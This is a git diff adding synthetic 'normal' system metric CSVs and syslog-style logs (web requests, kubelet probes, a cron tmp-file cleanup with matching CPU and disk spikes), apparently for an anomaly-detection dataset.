+2025-08-18T10:00:05Z,19.92084981940517,40.873859166952045,19.23440632464483,1.107056266612822,1.005402326303063 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b/norm_dataset/scenario_4/norm_4_11.log new file mode 100644 index 0000000000000000000000000000000000000000..e9098bed753356881a07c49ad149fdda0caab623 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_11.log @@ -0,0 +1,60 @@ +Aug 18 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 18 10:00:05 web-app[2233]: GET /api/v1/user/42 status=200 OK +Aug 18 10:00:10 web-app[2233]: GET /api/v1/user/39 status=200 OK +Aug 18 10:00:15 web-app[2233]: GET /api/v1/user/25 status=200 OK +Aug 18 10:00:20 web-app[2233]: GET /api/v1/user/31 status=200 OK +Aug 18 10:00:25 web-app[2233]: GET /api/v1/user/14 status=200 OK +Aug 18 10:00:30 web-app[2233]: GET /api/v1/user/44 status=200 OK +Aug 18 10:00:35 systemd[1]: Starting daily clean up activities... +Aug 18 10:00:40 web-app[2233]: GET /api/v1/user/42 status=200 OK +Aug 18 10:00:45 web-app[2233]: GET /api/v1/user/41 status=200 OK +Aug 18 10:00:50 web-app[2233]: GET /api/v1/user/46 status=200 OK +Aug 18 10:00:55 web-app[2233]: GET /api/v1/user/12 status=200 OK +Aug 18 10:01:00 web-app[2233]: GET /api/v1/user/31 status=200 OK +Aug 18 10:01:05 web-app[2233]: GET /api/v1/user/12 status=200 OK +Aug 18 10:01:10 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:15 web-app[2233]: GET /api/v1/user/45 status=200 OK +Aug 18 10:01:20 web-app[2233]: GET /api/v1/user/48 status=200 OK +Aug 18 10:01:25 web-app[2233]: GET /api/v1/user/40 status=200 OK +Aug 18 10:01:30 web-app[2233]: GET /api/v1/user/49 status=200 OK +Aug 18 10:01:35 web-app[2233]: GET /api/v1/user/10 status=200 OK +Aug 18 10:01:40 web-app[2233]: GET /api/v1/user/13 status=200 OK +Aug 18 10:01:45 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:50 web-app[2233]: GET /api/v1/user/19 status=200 OK +Aug 18 10:01:55 web-app[2233]: GET /api/v1/user/36 status=200 OK +Aug 18 10:02:00 CRON[15262]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 18 10:02:02 cleanup_script[15263]: INFO: Starting cleanup_tmp_files.sh. +Aug 18 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment-abc +Aug 18 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment-abc +Aug 18 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment-abc +Aug 18 10:04:55 cleanup_script[15263]: INFO: Found and deleted 1426 expired session files. +Aug 18 10:05:00 web-app[2233]: GET /api/v1/user/39 status=200 OK +Aug 18 10:05:05 web-app[2233]: GET /api/v1/user/39 status=200 OK +Aug 18 10:05:10 web-app[2233]: GET /api/v1/user/46 status=200 OK +Aug 18 10:05:15 web-app[2233]: GET /api/v1/user/42 status=200 OK +Aug 18 10:05:20 web-app[2233]: GET /api/v1/user/24 status=200 OK +Aug 18 10:05:25 web-app[2233]: GET /api/v1/user/48 status=200 OK +Aug 18 10:05:30 web-app[2233]: GET /api/v1/user/28 status=200 OK +Aug 18 10:05:35 web-app[2233]: GET /api/v1/user/34 status=200 OK +Aug 18 10:05:40 web-app[2233]: GET /api/v1/user/32 status=200 OK +Aug 18 10:05:45 web-app[2233]: GET /api/v1/user/27 status=200 OK +Aug 18 10:05:50 web-app[2233]: GET /api/v1/user/37 status=200 OK +Aug 18 10:05:55 web-app[2233]: GET /api/v1/user/10 status=200 OK +Aug 18 10:06:00 web-app[2233]: GET /api/v1/user/12 status=200 OK +Aug 18 10:06:05 web-app[2233]: GET /api/v1/user/11 status=200 OK +Aug 18 10:06:10 web-app[2233]: GET /api/v1/user/29 status=200 OK +Aug 18 10:06:15 web-app[2233]: GET /api/v1/user/20 status=200 OK +Aug 18 10:06:20 web-app[2233]: GET /api/v1/user/39 status=200 OK +Aug 18 10:06:25 web-app[2233]: GET /api/v1/user/32 status=200 OK +Aug 18 10:06:30 web-app[2233]: GET /api/v1/user/16 status=200 OK +Aug 18 10:06:35 web-app[2233]: GET /api/v1/user/28 status=200 OK +Aug 18 10:06:40 web-app[2233]: GET /api/v1/user/33 status=200 OK +Aug 18 10:06:45 web-app[2233]: GET /api/v1/user/49 status=200 OK +Aug 18 10:06:50 web-app[2233]: GET /api/v1/user/42 status=200 OK +Aug 18 10:06:55 web-app[2233]: GET /api/v1/user/30 status=200 OK +Aug 18 10:07:00 web-app[2233]: GET /api/v1/user/25 status=200 OK +Aug 18 10:07:05 web-app[2233]: GET /api/v1/user/33 status=200 OK +Aug 18 10:07:10 web-app[2233]: GET /api/v1/user/36 status=200 OK +Aug 18 10:07:15 web-app[2233]: GET /api/v1/user/29 status=200 OK +Aug 18 10:07:20 web-app[2233]: GET /api/v1/user/47 status=200 OK +Aug 18 10:07:25 web-app[2233]: GET /api/v1/user/28 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_12.csv b/norm_dataset/scenario_4/norm_4_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..2393bd026fc6fe2d675ce9758bf7a01290f8d1c3 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T10:00:00Z,17.69,42.81,28.62,0.62,0.65 +2025-08-18T10:00:05Z,19.92,45.87,24.23,0.91,0.91 +2025-08-18T10:00:10Z,19.53,46.14,29.19,0.83,0.81 +2025-08-18T10:00:15Z,16.05,44.42,35.05,0.86,0.86 +2025-08-18T10:00:20Z,19.57,44.84,30.09,1.45,0.4 +2025-08-18T10:00:25Z,20.41,45.93,33.27,0.83,0.99 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+2025-08-18T10:05:30Z,14.37,43.22,35.72,0.84,0.51 +2025-08-18T10:05:35Z,13.5,45.55,34.33,1.21,0.85 +2025-08-18T10:05:40Z,17.23,44.45,28.59,1.07,0.69 +2025-08-18T10:05:45Z,13.73,45.24,29.13,1.24,0.7 +2025-08-18T10:05:50Z,6.58,46.95,24.74,1.12,0.72 +2025-08-18T10:05:55Z,12.29,42.65,30.07,1.33,0.71 +2025-08-18T10:06:00Z,17.01,45.35,38.47,0.81,0.53 +2025-08-18T10:06:05Z,16.63,47.54,36.57,1.05,0.78 +2025-08-18T10:06:10Z,15.82,42.46,30.27,0.97,1.06 +2025-08-18T10:06:15Z,15.8,44.95,34.4,1.04,0.88 +2025-08-18T10:06:20Z,16.17,45.01,32.32,0.77,0.62 +2025-08-18T10:06:25Z,12.6,40.84,35.52,1.09,0.68 +2025-08-18T10:06:30Z,15.36,44.79,29.72,0.82,0.87 +2025-08-18T10:06:35Z,15.65,41.31,22.26,0.9,0.46 +2025-08-18T10:06:40Z,14.02,42.38,26.69,1.04,0.77 +2025-08-18T10:06:45Z,10.68,42.54,33.15,1.31,0.71 +2025-08-18T10:06:50Z,12.37,46.59,32.76,1.1,0.47 +2025-08-18T10:06:55Z,12.89,45.8,29.11,0.84,0.87 +2025-08-18T10:07:00Z,14.9,46.97,26.93,0.85,0.84 +2025-08-18T10:07:05Z,12.9,43.63,45.21,1.1,0.65 +2025-08-18T10:07:10Z,11.27,47.49,29.89,1.17,0.78 +2025-08-18T10:07:15Z,11.42,47.3,29.87,0.88,0.63 +2025-08-18T10:07:20Z,15.29,46.0,32.39,1.0,0.49 +2025-08-18T10:07:25Z,14.31,43.41,31.08,0.96,0.72 diff --git a/norm_dataset/scenario_4/norm_4_12.log b/norm_dataset/scenario_4/norm_4_12.log new file mode 100644 index 0000000000000000000000000000000000000000..a7e7553a2f353278502bc05f543b6a91f7a42dcd --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_12.log @@ -0,0 +1,23 @@ +Aug 18 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 18 10:00:25 web-app[2101]: GET /api/v1/health status=200 OK +Aug 18 10:00:35 systemd[1]: Starting daily clean up activities... +Aug 18 10:00:50 web-app[2101]: GET /api/v1/health status=200 OK +Aug 18 10:00:55 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:01:10 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:15 web-app[2101]: GET /api/v1/health status=200 OK +Aug 18 10:01:40 web-app[2101]: GET /api/v1/health status=200 OK +Aug 18 10:01:45 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:50 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:02:05 web-app[2101]: GET /api/v1/health status=200 OK +Aug 18 10:02:20 systemd[1]: Starting daily clean up activities... +Aug 18 10:02:30 cron[4588]: INFO: Starting filesystem cleanup script: /etc/cron.daily/cleanup_tmp_files.sh. +Aug 18 10:03:20 cleanup_script[4590]: INFO: Scanning directory /tmp for files older than 7 days. +Aug 18 10:04:50 cleanup_script[4590]: INFO: Found and deleted 1498 expired session files from /tmp. +Aug 18 10:05:00 cron[4588]: INFO: Filesystem cleanup script finished successfully. +Aug 18 10:05:20 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4f-abcde +Aug 18 10:05:30 web-app[2101]: GET /api/v1/metrics status=200 OK +Aug 18 10:06:00 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4f-abcde +Aug 18 10:06:30 web-app[2101]: GET /api/v1/metrics status=200 OK +Aug 18 10:06:40 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4f-abcde +Aug 18 10:07:00 web-app[2101]: GET /api/v1/metrics status=200 OK +Aug 18 10:07:20 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4f-abcde diff --git a/norm_dataset/scenario_4/norm_4_13.csv b/norm_dataset/scenario_4/norm_4_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..cd8ec918432bc1a1e4fe89d11f7c40ac412ea777 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.12,39.84,37.51,1.0,1.28 +2025-07-02T12:00:05Z,14.81,40.49,26.06,1.08,1.07 +2025-07-02T12:00:10Z,17.63,39.84,22.23,1.08,0.85 +2025-07-02T12:00:15Z,19.51,42.26,38.45,0.96,0.73 +2025-07-02T12:00:20Z,13.04,42.65,37.51,1.42,0.92 +2025-07-02T12:00:25Z,15.56,41.0,32.1,1.4,0.94 +2025-07-02T12:00:30Z,14.98,41.64,34.53,1.26,1.3 +2025-07-02T12:00:35Z,19.83,39.22,24.86,0.88,0.95 +2025-07-02T12:00:40Z,11.3,43.53,30.17,1.5,0.73 +2025-07-02T12:00:45Z,15.39,39.59,23.73,1.28,1.26 +2025-07-02T12:00:50Z,11.81,43.66,20.81,1.29,1.26 +2025-07-02T12:00:55Z,19.89,43.93,29.97,0.92,0.75 +2025-07-02T12:01:00Z,18.65,43.21,20.16,0.97,1.28 +2025-07-02T12:01:05Z,14.2,43.34,33.72,1.31,1.2 +2025-07-02T12:01:10Z,13.51,40.99,29.53,1.46,1.11 +2025-07-02T12:01:15Z,13.61,44.79,34.91,1.49,1.21 +2025-07-02T12:01:20Z,13.58,39.08,33.67,1.48,0.86 +2025-07-02T12:01:25Z,18.77,38.07,27.55,0.84,0.71 +2025-07-02T12:01:30Z,11.85,44.32,23.26,1.22,1.08 +2025-07-02T12:01:35Z,11.19,42.03,28.93,1.16,0.93 +2025-07-02T12:01:40Z,12.35,40.57,21.44,1.27,0.73 +2025-07-02T12:01:45Z,14.94,41.94,28.72,1.14,1.2 +2025-07-02T12:01:50Z,13.17,43.82,21.36,1.13,1.02 +2025-07-02T12:01:55Z,15.69,41.25,23.25,0.85,1.15 +2025-07-02T12:02:00Z,13.13,39.29,24.9,1.3,1.22 +2025-07-02T12:02:05Z,16.4,41.81,23.81,0.83,0.76 +2025-07-02T12:02:10Z,11.35,44.67,22.04,1.47,1.04 +2025-07-02T12:02:15Z,18.34,43.52,36.93,1.14,1.17 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+2025-07-02T12:07:20Z,16.37,40.18,30.9,1.05,0.71 +2025-07-02T12:07:25Z,16.29,40.03,34.14,1.14,1.08 diff --git a/norm_dataset/scenario_4/norm_4_13.log b/norm_dataset/scenario_4/norm_4_13.log new file mode 100644 index 0000000000000000000000000000000000000000..de8e79fdc397b3acc460f18aa4a059bad887ed84 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_13.log @@ -0,0 +1,32 @@ +Jul 02 12:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/101 status=200 OK +Jul 02 12:00:20 web-app[1234]: GET /api/v1/user/101 status=200 OK +Jul 02 12:00:40 web-app[1235]: GET /api/v1/user/101 status=200 OK +Jul 02 12:01:00 web-app[1235]: GET /api/v1/user/256 status=200 OK +Jul 02 12:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:40 web-app[1234]: GET /api/v1/user/256 status=200 OK +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:20 web-app[1235]: GET /api/v1/user/256 status=200 OK +Jul 02 12:02:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:30 root-script[6789]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:02:40 web-app[1235]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:50 root-script[6789]: INFO: Found and deleted 1773 expired session files. +Jul 02 12:03:00 web-app[1234]: GET /api/v1/user/101 status=200 OK +Jul 02 12:03:20 web-app[1235]: GET /api/v1/user/101 status=200 OK +Jul 02 12:03:40 web-app[1235]: GET /api/v1/user/256 status=200 OK +Jul 02 12:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:00 web-app[1234]: GET /api/v1/user/256 status=200 OK +Jul 02 12:04:20 web-app[1234]: GET /api/v1/user/256 status=200 OK +Jul 02 12:04:40 web-app[1235]: GET /api/v1/user/256 status=200 OK +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:00 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 12:05:20 web-app[1234]: GET /api/v1/user/256 status=200 OK +Jul 02 12:05:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:00 web-app[1235]: GET /api/v1/user/101 status=200 OK +Jul 02 12:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:20 web-app[1234]: GET /api/v1/user/101 status=200 OK +Jul 02 12:06:40 web-app[1235]: GET /api/v1/user/256 status=200 OK +Jul 02 12:07:00 web-app[1235]: GET /api/v1/user/101 status=200 OK +Jul 02 12:07:20 web-app[1235]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_14.csv b/norm_dataset/scenario_4/norm_4_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..245b4f0f3096b2e3a10bea5fe6010a9ffd4ed904 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,11.83,37.72,14.96,1.41,0.63 +2025-07-03T10:00:05Z,11.0,37.16,13.34,0.81,1.2 +2025-07-03T10:00:10Z,10.62,35.58,17.12,1.2,0.61 +2025-07-03T10:00:15Z,12.67,39.8,18.89,1.07,0.51 +2025-07-03T10:00:20Z,10.95,38.35,16.76,1.21,0.98 +2025-07-03T10:00:25Z,10.8,38.28,16.24,0.73,0.88 +2025-07-03T10:00:30Z,9.5,35.45,16.18,1.2,0.73 +2025-07-03T10:00:35Z,14.15,41.89,11.15,1.26,1.1 +2025-07-03T10:00:40Z,8.29,41.31,16.96,0.7,1.32 +2025-07-03T10:00:45Z,12.57,36.72,10.52,1.17,1.33 +2025-07-03T10:00:50Z,5.09,36.66,12.85,0.63,1.35 +2025-07-03T10:00:55Z,8.09,44.7,16.78,1.4,1.36 +2025-07-03T10:01:00Z,13.3,37.94,18.29,1.01,0.75 +2025-07-03T10:01:05Z,7.63,44.02,15.45,0.89,0.6 +2025-07-03T10:01:10Z,14.68,44.66,14.93,0.66,1.48 +2025-07-03T10:01:15Z,11.29,39.2,11.66,0.77,0.96 +2025-07-03T10:01:20Z,9.62,35.1,13.3,1.29,0.86 +2025-07-03T10:01:25Z,11.87,35.58,15.0,0.89,1.08 +2025-07-03T10:01:30Z,5.7,38.15,12.87,1.19,0.66 +2025-07-03T10:01:35Z,10.41,39.92,14.88,0.63,1.3 +2025-07-03T10:01:40Z,9.82,42.21,13.47,0.53,1.01 +2025-07-03T10:01:45Z,7.01,40.55,13.37,0.82,1.2 +2025-07-03T10:01:50Z,13.75,38.51,16.84,0.98,1.5 +2025-07-03T10:01:55Z,12.95,37.88,18.67,0.65,0.82 +2025-07-03T10:02:00Z,11.32,44.56,13.01,0.66,1.08 +2025-07-03T10:02:05Z,7.09,38.63,17.86,0.65,0.8 +2025-07-03T10:02:10Z,14.35,40.98,10.67,1.17,1.08 +2025-07-03T10:02:15Z,9.31,38.48,18.27,0.66,1.32 +2025-07-03T10:02:20Z,14.0,43.25,16.65,1.18,0.86 +2025-07-03T10:02:25Z,9.48,44.72,16.79,1.24,0.52 +2025-07-03T10:02:30Z,75.45,43.74,138.56,1.36,1.14 +2025-07-03T10:02:35Z,62.27,40.48,129.97,1.46,1.43 +2025-07-03T10:02:40Z,63.34,40.82,153.11,0.74,0.68 +2025-07-03T10:02:45Z,81.5,40.52,137.95,0.59,0.84 +2025-07-03T10:02:50Z,75.59,36.59,152.29,1.33,1.42 +2025-07-03T10:02:55Z,75.33,40.1,121.01,0.52,1.19 +2025-07-03T10:03:00Z,76.62,41.27,113.31,1.01,0.73 +2025-07-03T10:03:05Z,67.92,42.56,150.42,0.62,0.59 +2025-07-03T10:03:10Z,67.02,36.81,145.86,1.1,1.23 +2025-07-03T10:03:15Z,70.11,35.64,134.37,1.13,1.15 +2025-07-03T10:03:20Z,66.94,40.05,112.85,1.41,1.29 +2025-07-03T10:03:25Z,72.61,39.89,98.94,1.03,1.39 +2025-07-03T10:03:30Z,79.66,39.03,163.75,0.77,0.65 +2025-07-03T10:03:35Z,80.73,41.42,117.49,1.45,0.59 +2025-07-03T10:03:40Z,61.68,41.51,149.39,1.32,0.81 +2025-07-03T10:03:45Z,10.74,41.41,13.67,1.14,0.84 +2025-07-03T10:03:50Z,13.75,42.65,11.21,0.73,0.79 +2025-07-03T10:03:55Z,7.32,35.56,11.19,0.99,1.16 +2025-07-03T10:04:00Z,8.98,44.11,17.94,0.67,1.26 +2025-07-03T10:04:05Z,6.63,35.72,13.11,1.45,0.81 +2025-07-03T10:04:10Z,5.73,40.46,17.87,1.28,1.32 +2025-07-03T10:04:15Z,8.12,39.55,11.55,0.71,1.1 +2025-07-03T10:04:20Z,10.23,36.63,19.07,0.86,1.22 +2025-07-03T10:04:25Z,14.26,39.13,14.65,1.44,1.08 +2025-07-03T10:04:30Z,11.92,35.94,12.54,1.04,1.1 +2025-07-03T10:04:35Z,5.98,44.63,12.53,0.99,0.62 +2025-07-03T10:04:40Z,10.08,39.29,13.37,0.62,1.41 +2025-07-03T10:04:45Z,6.72,39.03,15.3,0.68,0.73 +2025-07-03T10:04:50Z,10.9,35.15,12.42,1.19,1.13 +2025-07-03T10:04:55Z,7.83,39.03,10.54,1.43,0.69 +2025-07-03T10:05:00Z,11.51,43.89,15.71,1.31,0.81 +2025-07-03T10:05:05Z,12.17,36.55,19.8,0.58,0.66 +2025-07-03T10:05:10Z,6.64,41.24,17.09,0.73,1.42 +2025-07-03T10:05:15Z,10.87,35.53,19.51,1.44,1.38 +2025-07-03T10:05:20Z,11.0,41.63,18.47,0.95,1.27 +2025-07-03T10:05:25Z,9.08,37.07,15.93,0.81,1.03 +2025-07-03T10:05:30Z,13.43,41.31,15.71,0.77,0.66 +2025-07-03T10:05:35Z,11.25,39.28,10.53,0.72,1.21 +2025-07-03T10:05:40Z,14.8,38.85,14.28,0.96,0.57 +2025-07-03T10:05:45Z,5.23,40.09,19.02,1.11,1.48 +2025-07-03T10:05:50Z,12.88,40.77,18.38,1.0,1.23 +2025-07-03T10:05:55Z,13.62,43.63,10.51,1.42,0.66 +2025-07-03T10:06:00Z,5.72,41.86,16.55,1.3,0.78 +2025-07-03T10:06:05Z,8.19,43.19,14.63,1.07,1.31 +2025-07-03T10:06:10Z,7.94,40.74,18.15,0.91,0.62 +2025-07-03T10:06:15Z,13.62,38.18,12.58,0.72,0.54 +2025-07-03T10:06:20Z,9.83,35.23,12.47,1.28,0.5 +2025-07-03T10:06:25Z,9.46,35.17,15.03,1.26,1.02 +2025-07-03T10:06:30Z,12.62,39.8,14.93,0.95,1.23 +2025-07-03T10:06:35Z,13.22,43.74,10.8,0.61,0.67 +2025-07-03T10:06:40Z,13.36,39.97,19.76,1.18,1.48 +2025-07-03T10:06:45Z,13.45,37.87,18.44,1.08,1.1 +2025-07-03T10:06:50Z,6.32,44.47,14.71,0.85,1.06 +2025-07-03T10:06:55Z,11.8,36.97,14.87,0.92,0.87 +2025-07-03T10:07:00Z,14.31,44.8,14.7,1.43,0.93 +2025-07-03T10:07:05Z,12.38,42.59,10.52,1.25,0.79 +2025-07-03T10:07:10Z,5.72,38.69,16.59,0.98,0.81 +2025-07-03T10:07:15Z,7.36,35.88,11.59,1.06,1.13 +2025-07-03T10:07:20Z,7.18,44.04,18.13,1.46,1.49 +2025-07-03T10:07:25Z,9.36,41.84,10.1,0.84,0.58 diff --git a/norm_dataset/scenario_4/norm_4_14.log b/norm_dataset/scenario_4/norm_4_14.log new file mode 100644 index 0000000000000000000000000000000000000000..5d12a36452f5063187e06fee8dfb686b29287701 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_14.log @@ -0,0 +1,25 @@ +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:30 CRON[4812]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 03 10:02:30 cleanup_script[4815]: INFO: Starting cleanup_tmp_files.sh. +Jul 03 10:02:55 cleanup_script[4815]: INFO: Scanning directory /tmp for expired files... +Jul 03 10:03:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:03:45 cleanup_script[4815]: INFO: Found and deleted 1500 expired session files. +Jul 03 10:03:45 cleanup_script[4815]: INFO: Filesystem cleanup finished. +Jul 03 10:04:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:06:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:07:00 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_4/norm_4_15.csv b/norm_dataset/scenario_4/norm_4_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..31436c59c9a045f475d3fc2f7f6b063c082d2c39 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,8.75,38.84,15.12,1.31,0.89 +2025-08-19T10:00:05Z,14.51,42.99,11.7,1.31,1.14 +2025-08-19T10:00:10Z,12.32,43.33,23.87,1.37,0.96 +2025-08-19T10:00:15Z,10.99,41.93,23.16,1.41,1.05 +2025-08-19T10:00:20Z,6.56,43.4,13.87,1.01,1.44 +2025-08-19T10:00:25Z,6.56,41.46,19.9,1.0,0.89 +2025-08-19T10:00:30Z,5.58,41.66,22.26,1.3,1.46 +2025-08-19T10:00:35Z,13.66,40.99,18.33,1.15,1.41 +2025-08-19T10:00:40Z,11.01,38.18,17.94,1.2,0.7 +2025-08-19T10:00:45Z,12.08,38.76,13.63,1.3,0.57 +2025-08-19T10:00:50Z,5.21,38.22,11.4,1.39,0.6 +2025-08-19T10:00:55Z,14.7,42.45,23.46,0.84,0.52 +2025-08-19T10:01:00Z,13.32,40.2,23.51,0.88,0.59 +2025-08-19T10:01:05Z,7.12,41.56,19.5,0.59,1.18 +2025-08-19T10:01:10Z,6.82,44.35,15.09,1.08,0.57 +2025-08-19T10:01:15Z,6.83,39.75,15.24,0.54,0.82 +2025-08-19T10:01:20Z,8.04,40.87,20.89,0.97,1.34 +2025-08-19T10:01:25Z,10.25,43.29,23.46,1.04,0.52 +2025-08-19T10:01:30Z,9.32,39.6,23.31,0.79,1.31 +2025-08-19T10:01:35Z,7.91,38.54,21.7,1.09,0.78 +2025-08-19T10:01:40Z,11.12,40.03,19.63,0.53,0.62 +2025-08-19T10:01:45Z,6.39,39.13,11.26,0.54,1.2 +2025-08-19T10:01:50Z,7.92,44.51,12.42,1.32,1.13 +2025-08-19T10:01:55Z,8.66,43.66,23.48,0.86,1.38 +2025-08-19T10:02:00Z,67.2,44.16,87.39,0.7,1.38 +2025-08-19T10:02:05Z,59.54,45.56,81.36,1.07,1.48 +2025-08-19T10:02:10Z,54.85,41.81,85.69,1.21,0.64 +2025-08-19T10:02:15Z,71.72,37.41,84.61,0.56,0.85 +2025-08-19T10:02:20Z,43.89,43.75,92.53,1.19,1.25 +2025-08-19T10:02:25Z,57.24,43.02,71.14,0.59,1.21 +2025-08-19T10:02:30Z,40.4,45.6,77.02,0.66,1.47 +2025-08-19T10:02:35Z,56.4,42.87,93.76,1.04,1.1 +2025-08-19T10:02:40Z,41.97,40.6,92.26,1.18,0.87 +2025-08-19T10:02:45Z,44.16,38.29,81.39,1.16,1.21 +2025-08-19T10:02:50Z,44.11,41.48,85.5,1.25,0.89 +2025-08-19T10:02:55Z,62.72,42.36,76.93,1.63,1.33 +2025-08-19T10:03:00Z,66.11,45.08,74.7,0.98,1.19 +2025-08-19T10:03:05Z,60.42,43.9,81.59,0.68,0.78 +2025-08-19T10:03:10Z,73.68,37.71,78.83,1.11,1.1 +2025-08-19T10:03:15Z,53.12,40.67,84.59,0.87,1.12 +2025-08-19T10:03:20Z,50.0,39.15,71.94,0.99,0.46 +2025-08-19T10:03:25Z,70.4,41.01,94.36,0.66,1.46 +2025-08-19T10:03:30Z,47.83,40.09,94.66,0.41,0.88 +2025-08-19T10:03:35Z,73.71,42.36,87.45,1.32,1.26 +2025-08-19T10:03:40Z,40.43,46.59,83.4,1.14,0.98 +2025-08-19T10:03:45Z,73.95,40.48,77.74,1.14,1.39 +2025-08-19T10:03:50Z,41.51,42.71,90.34,0.94,0.96 +2025-08-19T10:03:55Z,71.19,44.7,87.12,0.63,0.38 +2025-08-19T10:04:00Z,58.47,41.94,74.07,0.63,1.28 +2025-08-19T10:04:05Z,74.75,43.79,92.77,0.91,0.41 +2025-08-19T10:04:10Z,42.58,44.54,90.56,0.99,0.69 +2025-08-19T10:04:15Z,59.38,38.28,93.74,1.22,1.36 +2025-08-19T10:04:20Z,73.93,43.3,88.14,1.27,1.32 +2025-08-19T10:04:25Z,58.31,40.53,85.34,0.74,0.91 +2025-08-19T10:04:30Z,62.03,38.91,80.46,1.5,0.98 +2025-08-19T10:04:35Z,14.22,38.26,20.84,1.24,0.95 +2025-08-19T10:04:40Z,5.88,42.27,14.21,1.05,0.79 +2025-08-19T10:04:45Z,6.96,41.52,10.36,1.11,0.83 +2025-08-19T10:04:50Z,5.45,38.36,19.68,0.92,1.17 +2025-08-19T10:04:55Z,8.25,39.95,12.66,0.75,1.25 +2025-08-19T10:05:00Z,8.89,44.36,24.11,0.86,1.29 +2025-08-19T10:05:05Z,7.71,39.68,24.31,1.26,1.29 +2025-08-19T10:05:10Z,13.29,39.01,23.72,0.51,0.59 +2025-08-19T10:05:15Z,8.57,41.43,15.55,0.62,0.99 +2025-08-19T10:05:20Z,7.81,44.9,10.23,0.55,0.56 +2025-08-19T10:05:25Z,10.43,39.69,23.92,0.54,1.05 +2025-08-19T10:05:30Z,6.41,42.7,16.42,1.36,0.94 +2025-08-19T10:05:35Z,13.02,43.33,24.5,1.2,1.39 +2025-08-19T10:05:40Z,5.75,39.66,24.45,0.97,0.85 +2025-08-19T10:05:45Z,14.87,43.1,22.8,0.6,0.62 +2025-08-19T10:05:50Z,12.72,40.57,14.42,0.99,0.64 +2025-08-19T10:05:55Z,6.99,42.43,15.78,0.97,1.26 +2025-08-19T10:06:00Z,5.06,42.43,22.77,0.67,1.12 +2025-08-19T10:06:05Z,13.15,41.75,14.75,0.93,0.6 +2025-08-19T10:06:10Z,12.07,38.63,12.54,0.9,0.58 